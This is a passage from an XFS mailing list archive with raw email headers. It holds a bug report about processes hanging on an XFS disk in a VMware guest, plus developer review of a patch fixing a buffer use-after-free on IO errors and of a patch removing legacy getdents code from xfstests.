agsize=19660800 blks = sectsz=512 attr=2 data = bsize=4096 blocks=78643200, imaxpct=25 = sunit=0 swidth=0 blks naming =version 2 bsize=4096 ascii-ci=0 log =internal bsize=4096 blocks=38400, version=2 = sectsz=512 sunit=0 blks, lazy-count=1 realtime =none extsz=4096 blocks=0, rtextents=0 > > >> Mar 21 06:34:20 ealxs00169 kernel: [1412400.891181] archiver.pl D >> [] schedule+0x3f/0x60 >> [] schedule_timeout+0x2a5/0x320 >> [] __down_common+0xa5/0xf5 >> [] __down+0x1d/0x1f ..... >> Cheers, >> >> Dave. Michel. --------------000709050504020909030804 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit
op 24-03-14 18:36, Dave Chinner schreef:
On Mon, Mar 24, 2014 at 10:24:45AM +0100, Michel Verbraak(1st-Setup) wrote:
Hi,

We have a problem with one of our systems which is using XFS but we are
unable to find the problem. Recently we had two moments, Tuesday 4th of
March and Friday the 21st of March, where we had to reboot the system to
get it up and running again.

What happens:
- The programs handling files on the XFS disc stop working when
creating, deleting or writing files. They do not error they are just
waiting on the command to complete.
- One of our programs, a java application, goes into very high cpu usage
(50%) which normally is at 1%. This could be something in our java
application but it happens at the moment handling files gets stuck.
- A nice restart of the programs does not succeed as wel a kill -9 does
not work.
- Trying to reboot the servers in a normal fashion does not work. As it
is a virtual machine we have to do a shutdown (unplug power) and start
it up again to get it up and running.
......
Following details I have for you:

System OS: Ubuntu 12.04 LTS
Kernel: 3.2.0-37-generic #58-Ubuntu SMP Thu Jan 24 15:28:10 UTC 2013
x86_64 x86_64 x86_64 GNU/Linux
Server: Virtual machine in a VMWare setup.
Disc: 300GB direct attached LUN

We have an exact clone of this system for our acceptance environment. In
this environment we are unable to reproduce this problem/situation.

Differences between the two days is that our services on 2014-03-21 were
quit busy with a lot of file changes on the xfs disc and on 2014-03-04
the system was very quiet on the moment the kernel traces appear and the
services get stuck.

Any help is appreciated.

Regards Michel Verbraak.

Following we see in the syslog on both moments (2014-03-04 and 2014-03-21):

....
Mar 21 06:32:20 ealxs00169 kernel: [1412280.930543] flush-8:16      D
0000000000000000     0 13864      2 0x00000000
[<ffffffff8165b34f>] schedule+0x3f/0x60
[<ffffffff8165b3ff>] io_schedule+0x8f/0xd0
[<ffffffff8111836e>] sleep_on_page+0xe/0x20
[<ffffffff8165baca>] __wait_on_bit_lock+0x5a/0xc0
[<ffffffff81118357>] __lock_page+0x67/0x70
[<ffffffff81122bd4>] write_cache_pages+0x3d4/0x460
[<ffffffff81122caa>] generic_writepages+0x4a/0x70
[<ffffffffa007980d>] xfs_vm_writepages+0x4d/0x60 [xfs]
[<ffffffff81123b71>] do_writepages+0x21/0x40
[<ffffffff811a2990>] writeback_single_inode+0x180/0x430
[<ffffffff811a3056>] writeback_sb_inodes+0x1b6/0x270
[<ffffffff811a31ae>] __writeback_inodes_wb+0x9e/0xd0
[<ffffffff811a345b>] wb_writeback+0x27b/0x330
[<ffffffff811a35af>] wb_check_old_data_flush+0x9f/0xb0
[<ffffffff811a4481>] wb_do_writeback+0x151/0x1d0
[<ffffffff811a4583>] bdi_writeback_thread+0x83/0x2a0
[<ffffffff8108b27c>] kthread+0x8c/0xa0
Writeback is blocked on a locked page, and is waiting for IO
completion.
We currently have the following options in fstab for the filesystem: defaults,noatime,inode64,barrier=no

Now I read everywhere to turn of barrier you should specify "nobarrier". Is our way of disabling wrong?

The disc used has "write cache" disabled:
[    2.875792] sd 3:0:0:0: Attached scsi generic sg2 type 0
[    2.876376] sd 3:0:0:0: [sdb] 629145600 512-byte logical blocks: (322 GB/300 GiB)
[    2.876879] sd 3:0:0:0: [sdb] Write Protect is off
[    2.877050] sd 3:0:0:0: [sdb] Mode Sense: 87 00 00 08
[    2.877890] sd 3:0:0:0: [sdb] Write cache: disabled, read cache: enabled, doesn't support DPO or FUA
[    2.885634]  sdb: unknown partition table
...
[    5.132308] SGI XFS with ACLs, security attributes, realtime, large block/inode numbers, no debug enabled
[    5.155268] SGI XFS Quota Management subsystem
[    5.159345] XFS (sdb): Mounting Filesystem
..


Following is output of xfs_info on sdb:
meta-data=/dev/sdb               isize=256    agcount=4, agsize=19660800 blks
         =                       sectsz=512   attr=2
data     =                       bsize=4096   blocks=78643200, imaxpct=25
         =                       sunit=0      swidth=0 blks
naming   =version 2              bsize=4096   ascii-ci=0
log      =internal               bsize=4096   blocks=38400, version=2
         =                       sectsz=512   sunit=0 blks, lazy-count=1
realtime =none                   extsz=4096   blocks=0, rtextents=0



Mar 21 06:34:20 ealxs00169 kernel: [1412400.891181] archiver.pl     D
[<ffffffff8165b34f>] schedule+0x3f/0x60
[<ffffffff8165b995>] schedule_timeout+0x2a5/0x320
[<ffffffff8165c5f0>] __down_common+0xa5/0xf5
[<ffffffff8165c6b3>] __down+0x1d/0x1f
.....
Cheers,

Dave.
Michel.
--------------000709050504020909030804-- From bfoster@redhat.com Tue Mar 25 07:58:40 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 182487F3F for ; Tue, 25 Mar 2014 07:58:40 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 00DE08F8049 for ; Tue, 25 Mar 2014 05:58:36 -0700 (PDT) X-ASG-Debug-ID: 1395752312-04cbb054b66eb080001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 03apvM2rjxp0ZPEG for ; Tue, 25 Mar 2014 05:58:32 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s2PCw6IU003446 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 25 Mar 2014 08:58:11 -0400 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s2PCw446010061; Tue, 25 Mar 2014 08:58:06 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id 4F463123C1C; Tue, 25 Mar 2014 08:58:03 -0400 (EDT) Date: Tue, 25 Mar 2014 08:58:03 -0400 From: Brian Foster To: Eric Sandeen Cc: xfs-oss Subject: Re: [PATCH] xfs: fix buffer use after free on IO error Message-ID: <20140325125754.GA18691@bfoster.bfoster> X-ASG-Orig-Subj: Re: [PATCH] xfs: fix buffer use after free on IO error References: <532CFA12.4040104@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <532CFA12.4040104@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1395752312 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com On Fri, Mar 21, 2014 at 09:48:50PM -0500, Eric Sandeen wrote: > When testing exhaustion of dm snapshots, the following appeared > with CONFIG_DEBUG_OBJECTS_FREE enabled: > > ODEBUG: free active (active state 0) object type: work_struct hint: xfs_buf_iodone_work+0x0/0x1d0 [xfs] > > indicating that we'd freed a buffer which still had a pending reference, > down this path: > > [ 190.867975] [] debug_check_no_obj_freed+0x22b/0x270 > [ 190.880820] [] kmem_cache_free+0xd0/0x370 > [ 190.892615] [] xfs_buf_free+0xe4/0x210 [xfs] > [ 190.905629] [] xfs_buf_rele+0xe7/0x270 [xfs] > [ 190.911770] [] xfs_trans_read_buf_map+0x7b6/0xac0 [xfs] > > At issue is the fact that if IO fails in xfs_buf_iorequest, > we'll queue completion unconditionally, and then call > xfs_buf_rele; but if IO failed, there are no IOs remaining, > and xfs_buf_rele will free the bp while work is still queued. > > Fix this by not scheduling completion if the buffer has > an error on it; run it immediately. The rest is only comment > changes. > > Thanks to dchinner for spotting the root cause. > > Signed-off-by: Eric Sandeen > --- > > p.s. or maybe this could be moved into _xfs_buf_ioend ... > I think I see some nice cleanups for xfs_buf_ioend vs. > _xfs_buf_ioend w.r.t. when "schedule" is true, so maybe > I can clean it up then. > > > diff --git a/fs/xfs/xfs_buf.c b/fs/xfs/xfs_buf.c > index 9c061ef..45eb5ef 100644 > --- a/fs/xfs/xfs_buf.c > +++ b/fs/xfs/xfs_buf.c > @@ -1361,21 +1361,29 @@ xfs_buf_iorequest( > xfs_buf_wait_unpin(bp); > xfs_buf_hold(bp); > > - /* Set the count to 1 initially, this will stop an I/O > + /* > + * Set the count to 1 initially, this will stop an I/O > * completion callout which happens before we have started > * all the I/O from calling xfs_buf_ioend too early. > */ > atomic_set(&bp->b_io_remaining, 1); > _xfs_buf_ioapply(bp); > - _xfs_buf_ioend(bp, 1); > + /* > + * If _xfs_buf_ioapply failed, we'll get back here with > + * only the reference we took above. _xfs_buf_ioend will > + * drop it to zero, so we'd better not queue it for later, > + * or we'll free it before it's done. > + */ > + _xfs_buf_ioend(bp, bp->b_error ? 0 : 1); > Out of curiosity, is there any major reason we don't use 0 here unconditionally? Are we worried about I/O completing before we have a chance to decrement the reference? Looks good to me either way: Reviewed-by: Brian Foster > xfs_buf_rele(bp); > } > > /* > * Waits for I/O to complete on the buffer supplied. It returns immediately if > - * no I/O is pending or there is already a pending error on the buffer. It > - * returns the I/O error code, if any, or 0 if there was no error. > + * no I/O is pending or there is already a pending error on the buffer, in which > + * case nothing will ever complete. It returns the I/O error code, if any, or > + * 0 if there was no error. > */ > int > xfs_buf_iowait( > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs From BATV+3759bc676c27a7f28b93+3866+infradead.org+hch@bombadil.srs.infradead.org Tue Mar 25 08:17:30 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 7CE7029DF7 for ; Tue, 25 Mar 2014 08:17:30 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 64DD98F8052 for ; Tue, 25 Mar 2014 06:17:27 -0700 (PDT) X-ASG-Debug-ID: 1395753425-04cb6c56778dcdd0001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id qUuiRpiiAJSfWJo5 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 25 Mar 2014 06:17:05 -0700 (PDT) X-Barracuda-Envelope-From: BATV+3759bc676c27a7f28b93+3866+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WSRE1-0007tT-4B; Tue, 25 Mar 2014 13:17:05 +0000 Date: Tue, 25 Mar 2014 06:17:05 -0700 From: Christoph Hellwig To: Brian Foster Cc: Eric Sandeen , xfs-oss Subject: Re: [PATCH] xfs: fix buffer use after free on IO error Message-ID: <20140325131705.GB25392@infradead.org> X-ASG-Orig-Subj: Re: [PATCH] xfs: fix buffer use after free on IO error References: <532CFA12.4040104@redhat.com> <20140325125754.GA18691@bfoster.bfoster> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140325125754.GA18691@bfoster.bfoster> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1395753425 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.70 X-Barracuda-Spam-Status: No, SCORE=0.70 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MARKETING_SUBJECT, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.4234 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS > On Fri, Mar 21, 2014 at 09:48:50PM -0500, Eric Sandeen wrote: > > + /* > > + * If _xfs_buf_ioapply failed, we'll get back here with > > + * only the reference we took above. _xfs_buf_ioend will > > + * drop it to zero, so we'd better not queue it for later, > > + * or we'll free it before it's done. > > + */ > > + _xfs_buf_ioend(bp, bp->b_error ? 0 : 1); > > > > Out of curiosity, is there any major reason we don't use 0 here > unconditionally? Are we worried about I/O completing before we have a > chance to decrement the reference? I think this should unconditionally avoid the schedule, and while we're at it we should kill _xfs_buf_ioend and opencode it here and at the other callsite. Also atomic_dec_and_test really just returns true/false - there should ne no need for the explicit == 1 in the conditional. From BATV+3759bc676c27a7f28b93+3866+infradead.org+hch@bombadil.srs.infradead.org Tue Mar 25 08:17:42 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id AFBD029DF7 for ; Tue, 25 Mar 2014 08:17:42 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 29A18AC003 for ; Tue, 25 Mar 2014 06:17:42 -0700 (PDT) X-ASG-Debug-ID: 1395753460-04cb6c56758dce80001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id pFqdWVsZgoBKeOFE (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 25 Mar 2014 06:17:40 -0700 (PDT) X-Barracuda-Envelope-From: BATV+3759bc676c27a7f28b93+3866+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WSREa-0007u1-2d; Tue, 25 Mar 2014 13:17:40 +0000 Date: Tue, 25 Mar 2014 06:17:40 -0700 From: Christoph Hellwig To: Kyle McMartin Cc: xfs@oss.sgi.com Subject: Re: [PATCH 2/2] remove ancient sys_getdents code paths Message-ID: <20140325131740.GC25392@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 2/2] remove ancient sys_getdents code paths References: <20140324181920.GG23291@redacted.bos.redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140324181920.GG23291@redacted.bos.redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1395753460 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.4234 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS Both patches look good to me, Reviewed-by: Christoph Hellwig I'd merge the two into one if it was up to me, but I'm also fine with commiting them as-is. From bfoster@redhat.com Tue Mar 25 09:16:06 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id D27457F3F for ; Tue, 25 Mar 2014 09:16:06 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id BB8BF8F8037 for ; Tue, 25 Mar 2014 07:16:03 -0700 (PDT) X-ASG-Debug-ID: 1395756961-04cb6c56758e2ae0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id O7HUxI5W8ppyRmcz for ; Tue, 25 Mar 2014 07:16:02 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx01.intmail.prod.int.phx2.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s2PEFwoO018598 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 25 Mar 2014 10:15:59 -0400 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id s2PEFuXH017916; Tue, 25 Mar 2014 10:15:57 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id DF5A5123C1C; Tue, 25 Mar 2014 10:15:55 -0400 (EDT) Date: Tue, 25 Mar 2014 10:15:55 -0400 From: Brian Foster To: Kyle McMartin Cc: xfs@oss.sgi.com Subject: Re: [PATCH 2/2] remove ancient sys_getdents code paths Message-ID: <20140325141553.GB18691@bfoster.bfoster> X-ASG-Orig-Subj: Re: [PATCH 2/2] remove ancient sys_getdents code paths References: <20140324181920.GG23291@redacted.bos.redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140324181920.GG23291@redacted.bos.redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1395756962 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Mon, Mar 24, 2014 at 02:19:20PM -0400, Kyle McMartin wrote: > Everything since 2.4.1 has supported getdents64... so let's remove all > the legacy code paths to handle it and just rely on getdents64 existing > everywhere. Also re-indent the function to not look entirely awful. > > --- > common/getdents.c | 246 +++++++++++++++--------------------------------------- > 1 file changed, 69 insertions(+), 177 deletions(-) :) > > diff --git a/common/getdents.c b/common/getdents.c > index 49d0d03..957bb5a 100644 > --- a/common/getdents.c > +++ b/common/getdents.c > @@ -35,47 +35,13 @@ > > #include > > -/* For Linux we need a special version of this file since the > - definition of `struct dirent' is not the same for the kernel and > - the libc. There is one additional field which might be introduced > - in the kernel structure in the future. > - > - Here is the kernel definition of `struct dirent' as of 2.1.20: */ > - > -struct kernel_dirent > - { > - long int d_ino; > - __kernel_off_t d_off; > - unsigned short int d_reclen; > - char d_name[256]; > - }; > - > -struct kernel_dirent64 > - { > - uint64_t d_ino; > - int64_t d_off; > - unsigned short int d_reclen; > - unsigned char d_type; > - char d_name[256]; > - }; > - > -#define DIRENT_SET_DP_INO(dp, value) (dp)->d_ino = (value) > - > -#define __set_errno(e) (errno = (e)) > - > -int __have_no_getdents64; > - > -#ifdef __NR_getdents64 > -# define __SYS_GETDENTS64(fd, buf, len) (syscall(SYS_getdents64, fd, buf, len)) > -#else > -# define __SYS_GETDENTS64(fd, buf, len) ({ __set_errno(ENOSYS); -1; }) > -#endif > - > -#ifdef __NR_getdents > -# define __SYS_GETDENTS(fd, buf, len) (syscall(SYS_getdents, fd, buf, len)) > -#else > -# define __SYS_GETDENTS(fd, buf, len) ({ __set_errno(ENOSYS); -1; }) > -#endif > +struct kernel_dirent64 { > + uint64_t d_ino; > + int64_t d_off; > + unsigned short int d_reclen; > + unsigned char d_type; > + char d_name[256]; > +}; > > /* The problem here is that we cannot simply read the next NBYTES > bytes. We need to take the additional field into account. We use > @@ -85,148 +51,74 @@ int __have_no_getdents64; > reasonable number of bytes to read. If we should be wrong, we can > reset the file descriptor. In practice the kernel is limiting the > amount of data returned much more then the reduced buffer size. */ > -int > -getdents_wrap (int fd, char *buf, size_t nbytes) > +int getdents_wrap(int fd, char *buf, size_t nbytes) > { > - struct dirent *dp; > - off64_t last_offset = -1; > - ssize_t retval; > - > - if (!__have_no_getdents64) > - { > - int saved_errno = errno; > - char *kbuf = buf; > - size_t kbytes = nbytes; > - if (offsetof (struct dirent, d_name) > - < offsetof (struct kernel_dirent64, d_name) > - && nbytes <= sizeof (struct dirent)) > - { > - kbytes = nbytes + offsetof (struct kernel_dirent64, d_name) > - - offsetof (struct dirent, d_name); > - kbuf = alloca(kbytes); > + struct dirent *dp; > + struct kernel_dirent64 *kdp; > + off64_t last_offset = -1; > + ssize_t retval; > + char *kbuf = buf; > + size_t kbytes = nbytes; > + const size_t size_diff = (offsetof(struct kernel_dirent64, d_name) > + - offsetof(struct dirent, d_name)); > + > + if (offsetof(struct dirent, d_name) > + < offsetof(struct kernel_dirent64, d_name) > + && nbytes <= sizeof(struct dirent)) { > + kbytes = nbytes + size_diff; > + kbuf = alloca(kbytes); > } I wonder if we could clean up the d_name offset checks to check it once and use a flag. Or use a signed type for size_diff and trigger off that. Just a thought, fwiw. > - retval = __SYS_GETDENTS64(fd, kbuf, kbytes); > - if (retval != -1) > - { > - struct kernel_dirent64 *kdp; > - const size_t size_diff = (offsetof (struct kernel_dirent64, d_name) > - - offsetof (struct dirent, d_name)); > - > - /* If the structure returned by the kernel is identical to what we > - need, don't do any conversions. */ > - if (offsetof (struct dirent, d_name) > - == offsetof (struct kernel_dirent64, d_name) > - && sizeof (dp->d_ino) == sizeof (kdp->d_ino) > - && sizeof (dp->d_off) == sizeof (kdp->d_off)) > - return retval; > - > - dp = (struct dirent *)buf; > - kdp = (struct kernel_dirent64 *) kbuf; > - while ((char *) kdp < kbuf + retval) > - { > - const size_t alignment = __alignof__ (struct dirent); > - /* Since kdp->d_reclen is already aligned for the kernel > - structure this may compute a value that is bigger > - than necessary. */ > - size_t old_reclen = kdp->d_reclen; > - size_t new_reclen = ((old_reclen - size_diff + alignment - 1) > - & ~(alignment - 1)); > - uint64_t d_ino = kdp->d_ino; > - int64_t d_off = kdp->d_off; > - unsigned char d_type = kdp->d_type; > > - DIRENT_SET_DP_INO (dp, d_ino); > - dp->d_off = d_off; > - if ((sizeof (dp->d_ino) != sizeof (kdp->d_ino) > - && dp->d_ino != d_ino) > - || (sizeof (dp->d_off) != sizeof (kdp->d_off) > - && dp->d_off != d_off)) > - { > - /* Overflow. If there was at least one entry > - before this one, return them without error, > - otherwise signal overflow. */ > - if (last_offset != -1) > - { > - lseek64 (fd, last_offset, SEEK_SET); > - return (char *) dp - buf; > - } > - __set_errno (EOVERFLOW); > - return -1; > + retval = syscall(SYS_getdents64, fd, kbuf, kbytes); > + if (retval != -1) > + return retval; > + I suspect you want to return if retval == -1 here. > + /* If the structure returned by the kernel is identical to what we > + need, don't do any conversions. */ > + if (offsetof(struct dirent, d_name) > + == offsetof(struct kernel_dirent64, d_name) > + && sizeof(dp->d_ino) == sizeof(kdp->d_ino) > + && sizeof(dp->d_off) == sizeof(kdp->d_off)) > + return retval; > + > + dp = (struct dirent *)buf; > + kdp = (struct kernel_dirent64 *)kbuf; > + while ((char *)kdp < kbuf + retval) { > + const size_t alignment = __alignof__(struct dirent); > + /* Since kdp->d_reclen is already aligned for the kernel > + structure this may compute a value that is bigger > + than necessary. */ > + size_t old_reclen = kdp->d_reclen; > + size_t new_reclen = ((old_reclen - size_diff + alignment - 1) > + & ~(alignment - 1)); > + uint64_t d_ino = kdp->d_ino; > + int64_t d_off = kdp->d_off; > + unsigned char d_type = kdp->d_type; > + > + dp->d_ino = d_ino; > + dp->d_off = d_off; > + if ((sizeof(dp->d_ino) != sizeof(kdp->d_ino)) > + || (sizeof(dp->d_off) != sizeof(kdp->d_off))) { Hmm. We check the d_ino/d_off sizes above use that as part of the logic to drop into this conversion loop, which suggests this alone should not be a problem. If I read this right, we'd still want the dp->d_ino != d_ino and similar for d_off checks here to determine whether we did in fact overflow one of those values..? One final thought on the style fixes... it might be nice to push the logical operators and whatnot to the end of the line rather than the start of the subsequent. If you feel like it of course. I don't want to be too picky about this code. ;) Brian > + /* Overflow. If there was at least one entry > + before this one, return them without error, > + otherwise signal overflow. */ > + if (last_offset != -1) { > + lseek64(fd, last_offset, SEEK_SET); > + return (char *)dp - buf; > + } > + errno = EOVERFLOW; > + return -1; > } > > - last_offset = d_off; > - dp->d_reclen = new_reclen; > - dp->d_type = d_type; > - memmove (dp->d_name, kdp->d_name, > - old_reclen - offsetof (struct kernel_dirent64, d_name)); > + last_offset = d_off; > + dp->d_reclen = new_reclen; > + dp->d_type = d_type; > + memmove(dp->d_name, kdp->d_name, > + old_reclen - offsetof(struct kernel_dirent64, d_name)); > > - dp = (struct dirent *) ((char *) dp + new_reclen); > - kdp = (struct kernel_dirent64 *) ((char *) kdp + old_reclen); > - } > - > - return (char *) dp - buf; > + dp = (struct dirent *)((char *)dp + new_reclen); > + kdp = (struct kernel_dirent64 *)((char *)kdp + old_reclen); > } > > - __set_errno (saved_errno); > - __have_no_getdents64 = 1; > - } > - > - /* fallback to getdents */ > - { > - size_t red_nbytes; > - struct kernel_dirent *skdp, *kdp; > - const size_t size_diff = (offsetof (struct dirent, d_name) > - - offsetof (struct kernel_dirent, d_name)); > - > - red_nbytes = MIN (nbytes > - - ((nbytes / (offsetof (struct dirent, d_name) + 14)) > - * size_diff), > - nbytes - size_diff); > - > - dp = (struct dirent *) buf; > - skdp = kdp = alloca (red_nbytes); > - > - retval = __SYS_GETDENTS(fd, kdp, red_nbytes); > - if (retval == -1) > - return -1; > - > - while ((char *) kdp < (char *) skdp + retval) > - { > - const size_t alignment = __alignof__ (struct dirent); > - /* Since kdp->d_reclen is already aligned for the kernel structure > - this may compute a value that is bigger than necessary. */ > - size_t new_reclen = ((kdp->d_reclen + size_diff + alignment - 1) > - & ~(alignment - 1)); > - if ((char *) dp + new_reclen > buf + nbytes) > - { > - /* Our heuristic failed. We read too many entries. Reset > - the stream. */ > - assert (last_offset != -1); > - lseek64 (fd, last_offset, SEEK_SET); > - > - if ((char *) dp == buf) > - { > - /* The buffer the user passed in is too small to hold even > - one entry. */ > - __set_errno (EINVAL); > - return -1; > - } > - > - break; > - } > - > - last_offset = kdp->d_off; > - DIRENT_SET_DP_INO(dp, kdp->d_ino); > - dp->d_off = kdp->d_off; > - dp->d_reclen = new_reclen; > - dp->d_type = DT_UNKNOWN; > - memcpy (dp->d_name, kdp->d_name, > - kdp->d_reclen - offsetof (struct kernel_dirent, d_name)); > - > - dp = (struct dirent *) ((char *) dp + new_reclen); > - kdp = (struct kernel_dirent *) (((char *) kdp) + kdp->d_reclen); > - } > - } > - > - return (char *) dp - buf; > + return (char *)dp - buf; > } > -- > 1.8.5.3 > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs From BATV+3759bc676c27a7f28b93+3866+infradead.org+hch@bombadil.srs.infradead.org Tue Mar 25 10:34:32 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id E91FF7F3F for ; Tue, 25 Mar 2014 10:34:32 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id CD71C30407A for ; Tue, 25 Mar 2014 08:34:29 -0700 (PDT) X-ASG-Debug-ID: 1395761662-04cb6c56788ebc60001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id JPHT9BJDM6v0EhBG (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 25 Mar 2014 08:34:23 -0700 (PDT) X-Barracuda-Envelope-From: BATV+3759bc676c27a7f28b93+3866+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 